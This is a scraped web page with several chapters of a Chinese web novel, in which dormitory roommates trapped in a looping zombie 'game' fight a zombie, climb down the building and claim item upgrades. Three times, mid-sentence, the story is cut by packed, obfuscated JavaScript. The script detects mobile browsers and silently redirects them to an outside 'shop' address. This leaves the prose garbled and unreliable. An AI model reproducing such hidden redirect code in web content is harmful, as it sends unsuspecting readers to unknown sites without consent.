易晗被钉在原地,何筱风近乎哭喊道:“有火花!我看见了!插座漏电了!动了会死的!” 易晗的身子彻底僵住了。 虽然二号寝室分担了不少,但架不住一号寝室浴室里的水仍然滔滔不绝,现在水位忽上忽下,地上和墙上都有插座和接线板,以学校宿舍楼的老化程度,漏电漏出火花什么的,易晗一点不怀疑何筱风的眼睛。 何况她已经隐隐闻到了焦味,寝室里的各种灯光正忽闪忽灭。 水里如果有电,人又已经在水里了,没记错的话确实不能动,一动就很可能要完。 “可是!我们不能动的话!”沈乔半个身子泡坐在水里,一动不敢动,措姆央金就头朝下趴在那里,处于她和易晗的中间,只有一个大跨步的距离,“我们不动她怎么办?!” “措姆央金!你醒醒!”何筱风喊出来的下一秒就哭了,一哭就嚎啕大哭起来根本憋不住,她已经憋了太久了。 何筱风一哭,沈乔也抽泣了一下,而后放声大哭:“有没有什么,什么东西啊,什么也没有啊,有什么可以把她翻过来啊呜呜呜……” 易晗闭上了眼睛,没有,什么也没有,椅子也泡在水里了,她们没有任何长一点的绝缘物可以伸过去把人翻过来,她们不能动,她们够不着,她们无计可施。 不知道一动不动地站了多久,久到易晗怀疑自己睡着了正在做噩梦,突然,她们眼前陷入一片黑暗。 “怎么了?又怎么了?!”突如其来的黑暗,水流摇晃的冰冷声响,二者双重叠加,何筱风再也无法忍受地发出尖叫,“啊啊啊啊啊为什么黑了!” 沈乔:“别叫!你别叫!别叫了啊啊啊啊啊!” “……熄灯了。”黑暗里,易晗站在两间寝室的门当中,两边在同一时刻灭了灯,空调却没关,这一幕再熟悉不过,“我知道了,十一点了,寝室断电了!……安静!” 她忽然怒吼了一声,成功令尖叫不止的两个室友闭了嘴。易晗的脊背泛起更深的寒意,低声吼道:“我刚刚听见,后面又有门被撞开了,那个怪物,后面的怪物又撞开了一扇寝室的门!别叫了!” 一片漆黑中,何筱风捂着嘴忍住啜泣,沈乔把脸埋进颤抖的手心,易晗站在水里,全心全意地听身后有没有再传来声响。好一会儿过去,她才脱力地弯下腰,轻声说:“应该没事了。” 易晗疲惫地迈开腿,近乎死寂的寝室里,水声格外刺耳。 断电之后,她们可以动了,易晗一言不发地淌过一寝室的水,拉开窗帘,推开阳台的门,阳台地势更低,积水顿时流向阳台,慢慢溢了出去。 易晗背对寝室,站在打开的阳台门前吹着风没有动,何筱风低声说:“浴室的水好像停了。” 易晗嗯了一声。 随着积水渐渐消失,措姆央金的身体完整得露了出来,她俯趴在地面上,身子没有一丝起伏,没有人敢上前探一探鼻息。 在水里昏迷了那么久,怎么可能还活着呢? 夏季夜晚的风称得上凉爽,易晗等水都流得差不多了,才颇有些恋恋不舍地关上门,不得不转过身面对。她眼眸低垂,蹲下身把措姆央金翻了过来。 借着阳台门外照进来的一点光亮,措姆央金眼睛微张,死不瞑目的惨状一瞬间触及每个人的眼底,易晗手一抖,短促的尖叫被她咽进喉咙,忙不迭地退后,站起来,扶住了床的梯子。 然后呢? 没有人说话。 沈乔是第一个动的,她嘶嘶倒吸气,不停地抹眼泪。 但她只是脱下湿透的裤子,从衣柜里掏了条干净的睡裤换上,然后爬上了床,重重地栽倒,片刻后刷地一声拉上了床帘。 何筱风有些迷茫地看向易晗,易晗非常用力地深吸一口气,轻声说:“我也好累,睡吧。” 说不定睡醒就会发现,一切真的又是一场梦呢。 …… 易晗是被饿醒的,她昏昏沉沉地醒来,意识回笼,昨晚她一沾枕头就睡着了,完全是晕过去的。 现在几点了?她拉开床帘,阳光照进来很大一个斜角,应该都要中午了。 两个室友还蒙在床帘里没有动静,她低头一瞥,半眯的睡眼猛地瞪大,再无一丝困意: 措姆央金的尸体呢?不见了!怎么可能?! 难道又是一场梦?难道时间又重启了?是不是可以重来一次? “喂,你们醒醒!咳咳!”她喉咙干涩,越咳越痒,一咳就停不下来,总算把何筱风和沈乔都咳醒了。 “啊!啊什么,什么?!”沈乔尖叫着醒来。 “……今天几号?”何筱风早就饿醒了,只是不想起床直面现实,现在思路最清晰,“易晗,你看看你的打印机,有纸吗?” 还有纸,并且二号寝室的打印机已经空了。她们遗憾地发现时间并没有重来,游戏还在继续。更危险的是,站在三号寝室里,可以清楚听见四号寝室里沉重的脚步声。 昨晚易晗听得没错,那个怪物又靠近了一些。 她们回到一号寝室,面面相觑沉默不语,悲伤与恐惧凝固在空气中,呼吸都变得艰难。 何筱风第一个打破僵持:“措姆央金死了,任务B没得选了,我们必须逃出宿舍楼。” “是的,”沈乔一秒响应,但她的下一句话把两人吓了一大跳,“我觉得我们必须干掉那个东西。” 何筱风:“什么?!” 易晗:“啊?” 沈乔的眼睛直勾勾的,像是做了一夜的噩梦:“我觉得就是这样,那个东西把我们拦在这一头过不去,把它干掉一定就有出口了!” 室友惨死的阴影尚未散去,饥饿令人暴躁,恐惧随着时间的流逝慢慢堆积。沈乔看上去精神不太好。 “你别激动,你冷静点!”何筱风双手做安抚状,舌头都要打结了,“我们都不知道那是什么东西,我们只有一把水果刀,又饿又没力气……” 沈乔一抬眼,打断道:“所以要在完全没力气之前弄死它!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033747|194604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 几乎目露凶光的沈乔把何筱风吓得不轻,何筱风默默退了一步,易晗往她身前挡了挡:“你听我说,你也说我们被它堵在这一头,那为什么不换个方向,垂直往下试试呢?” 沈乔一愣,何筱风这回又被易晗吓着了:“啊?你要爬下去啊?” “假设这屋子现在着火了,火势汹涌根本下不了楼,要怎么办?”易晗语气平平,仿佛一个没有感情的AI,“电视上说,应该把床单被套一起打结成绳子,往楼下爬……别看我,我也没说要从五楼爬到一楼啊,说不定爬进四楼阳台就可以下楼了啊。” 沈乔皱眉不语,易晗双手抱臂,看上去波澜不惊。 两个室友一个想要平行进攻,一个想要垂直撤退,何筱风夹在中间,觉得这两个人都想找死。 沈乔:“你知道你但凡手一松脚一滑就摔死了吗?” 易晗:“我知道。” “……”沈乔转过身,回座位坐下,拿起昨晚的脆脆鲨就吃,“随你们便,我会把二号三号都搜一遍,然后就去四号房。” 你还要去单挑啊。何筱风眼角抽搐。 易晗扁了扁嘴,那意思是我也随你便:“那我等下就拆床单和被套了。” 说完,也坐下吃起了脆脆鲨。 “……”何筱风的脆脆鲨昨晚在床上吃掉了,措姆央金那儿应该还有两条,她想留一留,于是一声不响地坐下来,没一会儿就趴在了桌上。 她好绝望,她的两个队友都好疯狂。 沈乔吃完脆脆鲨后喝了点水,安安静静坐了一会儿,而后站起来,跟养精蓄锐完毕了似的,独自一人去了二号寝室。 何筱风跟了几步,犹犹豫豫地停在门前,这时易晗轻声说:“你要不要也去找东西?” “啊?我……但她万一真的……”何筱风明显是不想闲着,但也不敢去拼命。 “我觉得她不会真的去,”易晗低声哼了哼,“让她找找东西估计能冷静下来,我要在地上搞被套,你们都出去也好,你别让她大声叫就行。” 易晗的音色本就有些清冷,现在哑了,音调更低,慢条斯理地说话时很容易让人觉得她胸有成竹很有把握。 希望你搞搞床单被套什么的,然后也能冷静下来吧。何筱风这样想着,点头离开。 胸有成竹什么都是骗人的。 易晗自己也不知道自己在干嘛。 而且她信誓旦旦说的搞被套为什么这么麻烦? 爬上一张床,拆被套,拆床单,爬下来,尝试打结……打不好,那就打个死结,拼命拉紧,这真的对吗? 易晗跪在地上,满头大汗地研究,她本来就饿,现在还爬上爬下的,手脚全软了。 折腾好半天,她近乎撒泼地一把甩开床单,一抬头,太阳居然都要落山了?她们原来一觉睡到了下午吗? 过了一会儿,沈乔和何筱风也回来了,倒不是无功而返。何筱风手里拿着四根脆脆鲨,沈乔一手一把水果刀。 易晗没反应过来,何筱风脸上有笑,解释道:“这间寝室里有的,那两间也都有,所以我们现在一共六根脆脆鲨,三把水果刀。” 好歹能一人再吃两根脆脆鲨,易晗心想。 最后三人是坐在地上的床单被套上吃的脆脆鲨,沈乔没怎么说话,易晗也是。但有甜甜的巧克力下肚,沈乔原本发青的脸终于有了点血色。 何筱风等大家吃好,正想说我们再想别的办法吧别去找死,就在这个时候,楼下传来了撕心裂肺的尖叫。 “救命——啊啊啊啊啊!” 是的没错,丧尸又爆发了。 5. 女寝连连看 楼下再度响起了绝望的呼救,多么熟悉的感觉,寝室里的三人齐齐呆住,如坠冰窟。 “不,不是说这里还没有爆发丧尸……”何筱风说完自己也懂了,脸色更白一分,“啊,过了一夜了,现在又是……” “又是9月1日丧尸爆发的时间了。”易晗低声接话,“时间在流动。” 完了,她辛辛苦苦打了半天的结,每一个结都在嘲笑她——现在就算下了楼,也只会分分钟被丧尸咬死。 沈乔强装不在意地耸耸肩:“所以我说要去杀了那个东西,一个游戏给玩家设置了一个怪,玩家当然要去杀怪。” 易晗这下无法反驳,沈乔看了她们一眼,伸手递给易晗一把水果刀:“你去不去?去就一人一把。” “……”易晗接过了刀。 三人站在四号寝室的门前,人手一把切苹果的刀。 何筱风脑子里全是要死了要死了,问出来的话倒还很务实:“是我们过去打,还是把它引过来在这里打?” 沈乔纠结片刻,下意识看向易晗,易晗说:“引过来,我们不知道四号里面现在什么情况。” 沈乔不给自己退缩的机会,后退两步,抬腿冲门就是狠狠一脚! 她踹不开门,但里面的东西一听到声响,登时就朝门撞了过来:轰、轰、轰! 每一下都轰在三个女生的心上。 好几下了都没撞开,这东西可能力气也没太大……生死关头,易晗心一横,在门被撞开的前一秒作出了决定: “轰隆!” 门撞开了,一个癫狂的身影就要破门而入,千分之一秒间,易晗眼前的一切像是开了慢动作,她做好发力的准备,瞅准那东西刚进来一点点的时机,不要命地对门反撞过去——她要用门框把那东西卡住! “哐!” 她也做到了!那东西的头被卡在门框里,喉咙滚动着贪婪的嗬嗬声,它浑浊的眼珠死死盯住眼前的女生,一个劲往里冲,没有半点退回去的意思。 易晗用尽全力把门死死抵住,目眦欲裂:“给我砍他!” 一颗人头卡在门框上,是一个与她们年纪相仿的男生,只不过眼球发灰皮肤泛黑,已经是一具货真价实的丧尸了。 沈乔第一次正面遭遇丧尸,登时本能地尖叫出声往后退。何筱风竟是反应更快的那一个,握着刀就捅,刀刃噗嗤一下捅进丧尸的脸颊,却像是捅进了一块湿润的草垛。 何筱风的攻击没能伤及丧尸分毫,反倒激怒了丧尸,它喉咙里发出更急促的嗬嗬声,更加使劲往里冲! 易晗吸了口气再赌一把,她忽然放开门一闪身,丧尸陡然间没了阻力,一个踉跄就摔了进来,门后的易晗全力一踹,一脚给它踹翻在地! 她没有停歇,掏出刀就俯身扎下去,一刀扎穿了丧尸的脚踝! ……然后刀拔不出来了。 “卧槽!”易晗大骂一声,一不做二不休,死死按住刀柄,用体重拖住丧尸的右腿。 丧尸发出怒吼,重新站起身,但被扎穿的脚似乎抬不动了,速度明显慢了下来,这一招竟然有用?! “还有一只脚!快点!”易晗声嘶力竭地大吼。 何筱风如法炮制,人往下蹲躲过丧尸的牙齿,抄起刀就往丧尸脚上扎,刀尖死死往丧尸的皮肉里钻,“……为什么我扎不进去?!”她又气又急,明明已经用上了生平最大的力气! “沈乔!你干嘛呢?!”易晗双手握着刀,人趴在地上被丧尸往前拖,简直要气疯,“你要打怪的你人呢!” 沈乔被这一喊惊醒,求生的本能终于压过了恐惧。丧尸的速度慢了,也就是个男大学生而已,顶多张牙舞爪了一些——她咬紧牙关朝一旁闪身躲过,下蹲,反手一刀剁下去,终于,刀刃穿透了皮肉。 丧尸发出一声不似人类的、更加凄厉的嚎叫,身躯终于彻底失去了平衡,“轰隆”一声,像一袋湿重的泥沙般,面朝下重重砸在地板上,扬起一片灰尘。 它的上半身还在疯狂地抓挠、扭动,手臂胡乱挥舞,不时地撑起身子向前爬行,像一只绝望的大蟑螂。 易晗还没放手,继续握着刀拼命往下压,刀刃一寸一寸没入,直到完全穿过血肉和骨骼,吭哧钉进了木质地板。 丧尸的身体猛然一僵,发出更令人胆寒的吼叫,但没关系,它已经被钉死在了原地,有暗黑色的污血在脚下漫开一小滩,易晗连忙松开手爬起来,以免沾上丧尸的血。 三个女生围站在丧尸周围,胸口剧烈起伏,大口大口地喘着粗气。 最先开口的是何筱风,语气很是郁闷:“为什么只有我扎不进去?” “你力气太小了。”沈乔不留情面地回答,何筱风猛吸一口气,而后三人对视片刻,制伏丧尸带来了匪夷所思的成就感,她们终于露出了这一天以来第一个真心的笑容。 眼前的丧尸动弹不得,游戏里的怪真的被她们干掉了。 沈乔靠着墙喘息,不忘本来的计划:“我们等下去后面的寝室看看吗,我就不信没有出口。” 易晗说:“等我先去好好洗个手。” 一号寝室的卫生间里,易晗在水龙头下洗了好半天的手,恨不得搓掉一层皮最好。她刚才摸到了丧尸的皮肤,手感太过诡异,像湿漉漉的树皮,黏糊糊皱巴巴的恶心死了。 洗完手,她站在镜子前甩干。 唉,想想她就颇感懊悔,要是昨晚能下定决心逃出宿舍楼就好了,她都发现了每一间寝室代表时间线上的每一天,怎么没想到时间也会往前流动呢。 要是能再来一次就好了。 要是能回到昨天的寝室就好了。 易晗对着镜子里的自己叹气,整个卫生间昨晚被水泡了个彻底,她怅然若失地环视一圈,而后目光落在了与门相对的墙上。 学校浴室的防水瓷砖只贴了浅浅一层,现在瓷砖之上的墙面斑斑驳驳,有种即将碎裂的脆弱感。 对那些复制黏贴出来的二号、三号寝室来说,原本独立卫浴的门就是通往过去的门,那一号寝室呢? 这面墙的后面是什么?难不成是隔壁寝室? 不可能这么普通吧? 能不能有一间零号寝室呢? 易晗若有所思,抱着手臂缓步走到墙的跟前,抬手敲了敲,邦邦硬,没什么感觉。 换五指抠上去,手指用力使劲一抠,这下竟轻松抠下来好大一块石灰,直接看见了混凝土,她手劲什么时候这么大了? “呼、呼——”她吹了吹指缝里的石灰,再抠上去,这回咬着牙使劲,很好,混凝土也被她抠出个深深的坑。 易晗:“……” 她这是炼成九阴白骨爪了? 她要是就这么活活把墙挖开,然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033748|194604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后要怎么跟何筱风她们解释呢? 易晗一个人在卫生间里胡思乱想,听到脚步声才回头,一出卫生间就看见何筱风几乎搀扶着沈乔往回走,她心道不妙:“你们怎么了?” 何筱风一脸如丧考批:“她刚刚等不及,我们就先往前走去看了,一开始还好,但是走到快十几号寝室的时候,就听见那里面全是丧尸,全是那种慢悠悠在寝室里晃的声音,起码四五只。” 易晗沉默了,她们绝对不可能打得过四五只丧尸。 还好是十几号寝室,离得够远,没有听到她们方才杀猪般的动静。 沈乔就像被抽掉了身上所有的骨头,何筱风没放开她,她也在回到一号寝室后慢慢滑落倒地,脸一皱就哭了,脸比丧尸还要灰败几分。 何筱风脸上的平静是另一种心如死灰:“怎么办啊?” 易晗冲摊在地上的床单被罩努了努嘴:“爬下去啊。” 说是这么说,她说完还是不自信地跑去阳台看了一眼,楼下也有丧尸,没有四五只那么多,但也有三只在徘徊,而且也不敢保证一旦打起来,周围不会有更多的丧尸来帮忙。 除非下楼就等于游戏通关,否则还是死路一条。 怎么办?要不要…… 沈乔一边哭一边嚷嚷:“楼下也有丧尸啊,我刚都看了,下去之后怎么办啊啊啊啊啊啊?” 沈乔哭得上气不接下气,却有比她哭声更响的声音传来:“砰砰砰……” 易晗往沈乔身后看去:“什么东西砰砰砰?” “刚那个丧尸,”何筱风指了指,“发现自己动不了就一直在以头抢地,地板都要磕坏了。” “……”易晗一脸不明白地往前走去,回到丧尸被钉住的房间,丧尸还真在磕头,力气真大,木板都烂了。 易晗居高临下,定定地看着这个诡异的场景。 如果说,刚那面墙,还有这个磕头怪……易晗恍然抬起头,眨眨眼,几乎被自己逗笑了,她有了一个神奇的想法。 “啊?” 何筱风两只眼睛都是问号:“什么意思?” 易晗挠挠眉毛,嘴里的话诡异到说出来都困难:“我想试试,让丧尸撞开卫生间里的墙,看看墙后能不能是昨天的寝室,就是8月31号的寝室,还没有爆发丧尸的那天,然后我们再考虑爬下去的问题。” 何筱风:“……” 沈乔:“……嗝。” 沈乔打了个哭嗝,一脸懵逼地见易晗招招手,何筱风把她拉起来,三人来到丧尸跟前,易晗做了个撸袖子的动作:“来我们先把他拖过去。” 易晗抓着丧尸的裤脚一用力,一个人一只手就连丧尸带水果刀一起拖动,刀还钉在地板里,一路拖出一道又长又深的刻痕。 她力气怎么那么大?三个人都在心里啧啧称奇。 易晗拖尸体一样拖着丧尸回到一号寝室的卫生间,薅着丧尸的头发使劲一拽,把丧尸的上半身立起来冲着墙壁:“给我撞!” 丧尸磕头的动作像一种被设置好的程序,一下就把墙面磕出一个巨坑,易晗后退几步,她对这面墙寄予厚望。 “砰、砰、砰!” 何筱风堵住耳朵:“这得撞到什么时候去啊?” 易晗现在牢记时间会流动的准则,说:“我希望可以在入夜前撞开,不然晚上又要发大水了。” 6. 女寝连连看(完) 大约过了两个小时,磕头怪丧尸不负众望,成功头破血流地将卫生间的墙壁轰开了一个洞,足以容纳一个女生钻过去。 期间,易晗也没闲着,既然决定放手一搏爬下去,那么除了抓在手里的床单被罩,还需要捆在身上的保险绳:她们翻出所有衣服裤子,挑了最结实的打结连在一起。 现在的问题是,墙后面真的是8月31日的寝室吗? 易晗一脚踹开丧尸,蹲在洞前看,洞里白茫茫一片,安安静静。 何筱风不太确定地问:“我们钻过去看看?” “我先吧,”易晗身先士卒,“等我叫你们,你们再进来。” 易晗一米七出头,体重一百二,苗条的身形轻松钻了进去。站起来一看,哈哈哈,果然是她们的寝室。 她大松一口气,飞快地确定一遍能确定的东西,比如打印机里的纸,纸没用完,比如措姆央金的脆脆鲨,全新的盒子都没拆封,再比如饮水机的水,是要多很多。 她真的打开了零号寝室的大门! “快过来!”易晗从洞口探出头,“这里真的是昨天的,不是,是那个8月31号的寝室!” 何筱风和沈乔钻了过来,难以置信地到处看,何筱风几乎瞪着易晗:“你怎么会想到的?!” “……”易晗抠了抠指甲缝,含糊地道,“力大砖飞嘛。” 三人先把脆脆鲨分着吃了,再从洞里把之前准备好的床单被罩和“保险绳”都拖进来——争分夺秒加上零号寝室里的床单被罩和衣服一起打上结,而后来到了最困难的最后一步:爬下去。 先前最不同意爬下去的沈乔现在表示:“要么我第一个?你们两个拉住我?” 何筱风抿了抿嘴,易晗一副没所谓的样子:“可以,那我最后一个。” “你一个人真的可以吗?”何筱风一愣,最后一个意味着没人能拉住保险绳,只能靠自己抓住床单被罩。 易晗的脸上浮现出一种微妙的笑:“我猜我没问题。” 她现在力气好大的,她以前力气没那么大的。 阳台上,远处的夕阳绚烂,易晗尽力探出身,还是完全看不见四楼寝室的情况,从五楼的高度往下爬,现在的她基本没问题,沈乔和何筱风就难说了。 床单和被罩连成的绳子,一头系在床的梯子上,一头向阳台下垂落,在楼下绕成一个小圈。 何筱风看了又看,越看越心凉。她一声不吭爬上床,把被子抱下来,直直往楼下扔。 “聪明。”易晗真没想到搞个垫子,赶紧爬上爬下一起搬被子,搬床垫,扔下去。 “应该……不会死了吧?”沈乔目光涣散,五层楼的高度让晚风都带着一股吸力,她一阵眩晕。 “没时间犹豫了,越快越好。”易晗不知道她们这一出要折腾多久,她没概念,但她知道晚上寝室会发大水。 另一条用衣服拧成的、更细一些的“保险绳”系在沈乔的腰间,另一端由她和何筱风抓在手里。 何筱风握着绳子的手反复握紧:“没事,沈乔你先试试看,不行我们马上拉你上来。” 沈乔的嘴唇抿得死死的,她小心翻过阳台栏杆,双脚踮在细小的缝隙处,金属栏杆硌着她的腹部。 接着双手依次放开栏杆,抓住了床单,两只脚依次离开缝隙,努力盘住床单被罩,棉质与纤维发出绷紧的声响。 她试图向下挪动,岂料一只手放开的下一秒就倏地下滑了一段,吓得她惨叫一声,四肢立刻死死攀住,不敢再动。 沈乔下落的同时,易晗和何筱风的手上也陡然感到重量,两人都向前跨了一大步。 “没事,我们拉得住!”易晗喊了句,安慰沈乔也安慰何筱风。 何筱风全身都在发抖,这难度远超预期,不可能,她们不可能做到的…… 沈乔刚那一下大约下降了两三米,现在不动了。 易晗高声说:“四楼寝室什么情况?能落地吗?” 最理想的情况,是她们可以踩住四楼阳台的栏杆然后跳进去,但沈乔显然没有踩住,她们手里的重量没有减轻一分。 沈乔那一头没有声响,易晗和何筱风离阳台还有一段距离,看不见情况。 突然! “啊——!” 沈乔的尖叫撕心裂肺,不知道她看见了什么,但她肯定手脚全都失了力放开了床单被罩,迅速下落,等于自由落体! 易晗整个人被拽得往前一扑,寝室地面太光滑,她和何筱风甚至来不及惊呼,就猝不及防被重力加速度硬生生扯到阳台,上半身撞上栏杆后两脚离地,完全翻了出去,继而整个人被拖着向下坠去! 这样摔下去必死无疑! 站在最后的易晗在身体彻底掉出阳台的最后一秒,右手向后拼命一抓! “铿!” 她的五指死死地握住了冰冷、光滑的阳台栏杆! 巨大的下坠力几乎要将她的全身撕裂,但她没有慌乱,她抓得住!她真的抓得住! 沈乔身上还有绳子,何筱风一手抓着绳子一手抓着床单,她也一手拉着绳子一手抓住了栏杆,没事的! 易晗没往下看,她知道她要赶紧踩住什么来借力,于是绷紧全身肌肉,右手小臂竭力向上弯曲…… “噗呲——” “啊啊啊啊啊!” 易晗呼吸一滞,床单被罩承受不住两个人的重量,呲啦一下应声断裂,悠悠然然地掉了下去。 她当即立断松开左手上的保险绳,牢牢抓住了何筱风! 可这样一来,还能拉住沈乔的就只剩何筱风手里的保险绳了。 沈乔被腰间的保险绳死死勒住,人挂在半空,没有半点反应。何筱风的脑门青筋暴起,完全靠着本能不松开手。 何筱风现在卡在四楼寝室的上方,两脚悬空没有任何地方可以踩,她仰着头,脸色惨白如纸,看着上方易晗因极度痛苦而扭曲的侧脸。 现在三个人的重量全部挂在易晗的右手臂上,她的手臂快要被扯断了,右手指甲已经翻裂,细微的疼痛在此时不值一提,圆柱形的栏杆过于光滑,她快抓不住了! “啊!” 她右手一空,三个人失去了所有支点,瞬间一起掉了下去。惊慌到了极点的何筱风哭喊着放开了沈乔的绳子,两手都抓住了易晗的手腕。 易晗瞳孔紧缩,高速而短暂的下落间仍然没有放弃,她的右手高举,五指大张,铿一声精准抓住了四楼阳台的栏杆! 身体猝然停住,何筱风不可置信地睁开眼睛,惊魂未定地喘息。 两人都清楚,沈乔掉下去了。 却没有传来任何重物落地的声响。 而易晗也看到了把沈乔吓得松手的东西:四楼寝室的阳台上弥漫着红色的雾气,可能刚刚正对着沈乔的脸喷了出来。 这雾气一股血的味道,缠绕在空气里令人全身发麻,易晗屏住呼吸闭上眼睛。 这里是四楼阳台,她们只剩两个人了,她努力镇定下来,低下头:“你千万抓紧我别松手!” 何筱风已经没有思考的力气了,只知道没过几秒,她再一次下落,再停住,又下落,又停住。易晗每松开一次右手,每离开一层阳台,就盯紧了下一层阳台的栏杆,再次握住。 等她们顺利落到二楼阳台,何筱风终于清醒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033749|194604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来,她们真的可以落地了。 易晗的左手甚至还有余力晃了晃何筱风:“要跳了!” 何筱风:“嗯!” 易晗呼了口气,松开右手,两人从二楼阳台垂直摔了下去,何筱风根本站不住,直接屁股倒地,易晗好一些,两脚勉强站立了一下后才摔坐下去。 被子垫子发挥了重要作用,两人除了腿脚和屁股都很痛之外没摔出个好歹。 何筱风坐在地上,顾不上周身的疼痛,四处看:“沈乔呢?” “不知道,我猜和措姆央金一样,出局了。”易晗说。 何筱风身体一抖:“是我们……” “别多想,刚刚的情况只有神仙来了才能救她。”易晗抬起头,望向方才一路落下来的宿舍楼,目光复杂。 她不是神仙,但她大概也不是人了。 两人在被子里半躺半坐,气喘吁吁,心里脑子里都一团浆糊,就在这时忽然听见身后“哐啷哐当”了两声。 “啊!”何筱风整个人一颤。 “咳咳!”易晗也吓得呛咳,但这声音非常熟悉。 她略显迟疑地扭头,是宿舍楼门口的自动售货机,有两瓶水滚到了取货口里。 原本用来选择饮品的小屏幕,此刻也与平时不同,正跟个探照灯一样五颜六色闪个不停。 易晗叹了口气:“我猜要过去答题了……你说到底谁不是同类呢?” 何筱风张了张嘴,又闭了闭,思考了一会儿才很疲惫地说:“不知道被选中的人会怎么样呢……我们选沈乔和措姆央金吧,逻辑就是,就是她们消失了。” 易晗无言地看向她,何筱风低着头没和她对视,易晗轻声说:“好。” 两人互相搀扶着站起来,一瘸一拐走到自动售货机前。 等两人一站定,小屏幕立刻停止闪烁,接连打出一行一行字: 【恭喜玩家成功逃出宿舍楼!】 【经评定,玩家已达成A级通关任务!】 【本感染区的S级任务为:找出不是同类的室友。】 【现在,请玩家选择:】 【措姆央金何筱风沈乔易晗】 【倒计时60s、59s、58s……】 时间在一秒一秒流逝,何筱风“哎?”了一声,匆匆和易晗对了个眼神,易晗点点头,何筱风伸手触碰了两下屏幕。 【玩家已选择……】 【玩家选择错误,未达成S级任务!】 【现在进行A级任务奖励结算!】 【A级任务奖励为:任意挑选感染区内一个物品,感染区将为物品进行升级。】 【请玩家说出心仪的物品】 【倒计时120s、119s、118s……】 何筱风傻眼了:“哎哎哎?怎么就就结算了?什么鬼啊!” 易晗催她:“先选个东西,选寝室里的东西!能升级呢!” “呃……” 何筱风现在晕晕乎乎,寝室里有什么,还升级,升级什么…… 她目光一定:“我选我的水果刀!” 小屏幕:【玩家已选择,正在进行升级,请稍后……】 易晗一愣,几个意思,她还没选呢? 不到半分钟,一把水果刀轻盈地落进了取货口,同时小屏幕开始打字: 【小刀从此拥有了伤害丧尸的力量】 【请用这把小刀保护自己和他人吧】 易晗在心里哼了一声,好吧,还是有丧尸,还是要对付丧尸。 如果所谓的升级是这个逻辑的话—— 易晗:“我选我的驱蚊花露水。” 7. 系统 小屏幕:…… 非要形容的话,小屏幕像是愣住了,闪动的光标就像懵逼的眼睛在眨,好几秒后才开始打字: 【玩家已选择,正在进行升级,请稍后……】 一瓶全新未开封的驱蚊花露水掉进了取货口里,小屏幕开始说明: 【驱蚊花露水从此拥有了使丧尸忽视你的力量,有效时长2小时,每8小时可对一人使用一次】 【请使用花露水保护自己和他人吧】 易晗挺满意,有效驱丧尸2小时,冷却8小时,2小时很长了。 小屏幕还在打字: 【结算完成,再次恭喜两位玩家成功通关本感染区,请再接再厉】 小屏幕熄灭了,恢复成正常的售货机选饮料界面。 看上面的时间,现在是9月2日晚上7点半。 9月1号晚饭时间丧尸爆发,所以今天是丧尸爆发第二天。 “易晗!”何筱风忽然惊恐地抓住易晗,抬手指着前方,“有丧尸!” 她们逃离了宿舍楼,来到楼下的空地上,周围的丧尸闻到了人类的味道,左前方一个,右前方两个,跟收到指令一样朝他们飞奔而来! “你快把东西拆开!” 易晗把何筱风挡在身后,抬腿就是一脚,左前方率先跑来的丧尸被她踢飞,右前方的两个远一些,她现在清楚自己的实力,她不害怕。 “快快快!”何筱风先把水果刀给易晗,手上迅速地拆花露水表面那一层塑料,怎么那么难拆! 左前方跑来的丧尸重新站起来,易晗再踹,一手握刀转身,捅进右前方跑来的丧尸的腹部,丧尸发出一声吼叫,捂着肚子倒地。 这刀杀伤力好强! 抖成筛子的何筱风还在拆包装,易晗不催她,右前方来的第二只丧尸矮小一些,她改反手握刀,直直插进丧尸的脖子,用力拔出来。 丧尸的血从刀口处喷洒而出,跟人一样踉跄倒退几步,倒地,不动了。 被易晗两次踹翻的丧尸又站了起来,易晗刚要捅下去,何筱风扯开了塑料薄膜,拔开花露水的盖子,给两人各喷了一下。 就一下。 丧尸扑过来的动作霎时停住,仿佛带有一丝困惑,脖子转了转,鼻子嗅了嗅,然后转身朝另一个方向走去。 那只被易晗捅伤的丧尸,也在同一时刻停止挣扎,只是捂着肚子平躺望天,看上去有点迷茫。 易晗:“……这么厉害!” 驱蚊花露水在赶蚊子方面都没有这么立竿见影。 “呼我的妈呀……”场面太刺激了,何筱风的脑仁突突狂跳,现在警报解除,她剧痛的腿发软,靠着售货机就慢慢倒了下去,望着易晗安全感满满的背影,她叹服道:“你现在好强啊。” 现在。 她的用词非常精准。 易晗没接这个话,她身上也痛,但另一个异样更令她在意:视野右上方不知何时出现了一个透明的圆点,她用力眨眨眼,圆点居然在眼前放大,一个屏幕徐徐展开。 “……”易晗全身的血都凉了,被丧尸咬了后力气变大了什么的还可以接受,但眼前刷啦弹出一个屏幕还是太太太离谱了…… 虽然小说里的玩家有个系统什么的很正常,但但但…… 